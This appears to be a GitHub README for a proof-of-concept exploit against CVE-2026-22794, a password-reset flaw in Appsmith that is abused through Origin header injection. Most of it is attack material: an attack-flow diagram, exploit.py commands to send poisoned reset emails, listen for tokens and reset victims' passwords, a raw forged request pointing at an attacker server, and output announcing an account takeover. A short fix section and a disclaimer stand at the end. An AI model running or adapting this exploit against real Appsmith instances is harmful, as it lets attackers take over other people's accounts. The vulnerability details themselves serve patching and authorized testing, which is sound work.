
π΄ CVE-2026-22794 - Appsmith Password Reset Account Takeover via Origin Header Injection | PoC Exploit + Nuclei Template
Password Reset Link Hijacking via Origin Header Manipulation
This repository contains a Proof of Concept (PoC) exploit for CVE-2026-22794, a critical vulnerability in Appsmith that allows attackers to hijack password reset tokens and achieve full account takeover.
| Field | Value |
|---|
| CVE ID | CVE-2026-22794 |
| Affected Software | Appsmith (versions prior to patch) |
| Vulnerability Type | Origin Header Injection |
| Impact | Full Account Takeover |
| CVSS Score | 9.1 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required (victim clicks link) |
Appsmith uses the HTTP Origin header without validation to construct password reset and email verification URLs. The vulnerable code directly assigns the Origin header to the password reset base URL:
userPasswordDTO.setBaseUrl(originHeader);
This allows an attacker to:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ATTACK FLOW β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββ ββββββββββββ ββββββββββββ
β ATTACKER β β APPSMITH β β VICTIM β
ββββββ¬ββββββ ββββββ¬ββββββ ββββββ¬ββββββ
β β β
β 1. POST /forgotPassword β β
β Origin: attacker.com β β
β email: [email protected] β β
βββββββββββββββββββββββββββββββ>β β
β β β
β β 2. Send email with β
β β attacker.com/reset?token β
β βββββββββββββββββββββββββββββββ>β
β β β
β 3. Victim clicks link β β
β<βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β β
β 4. Token captured! β β
β β β
β 5. POST /resetPassword β β
β token: STOLEN_TOKEN β β
β password: attacker123 β β
βββββββββββββββββββββββββββββββ>β β
β β β
β 6. ACCOUNT TAKEOVER! β β β
β β β
# Clone the repository
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Install dependencies
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Password Reset Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] INCOMING REQUEST CAPTURED!
[*] Path: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORD RESET TOKEN CAPTURED!
[!!!] Token: abc123xyz789...
[+] ACCOUNT TAKEOVER SUCCESSFUL!
[+] Password has been reset to: NewP@ssw0rd!
Organizations using Appsmith should:
// β VULNERABLE CODE
userPasswordDTO.setBaseUrl(originHeader);
// β
SECURE CODE
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Or validate against whitelist
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
βββ README.md # This file
βββ exploit.py # Main exploit script
βββ requirements.txt # Python dependencies
βββ LICENSE # MIT License
βββ docs/
βββ technical_analysis.md # Detailed vulnerability analysis
This tool is provided for authorized security testing and educational purposes only.
Security Researcher
This project is licensed under the MIT License - see the LICENSE file for details.
β If you found this useful, please star the repository! β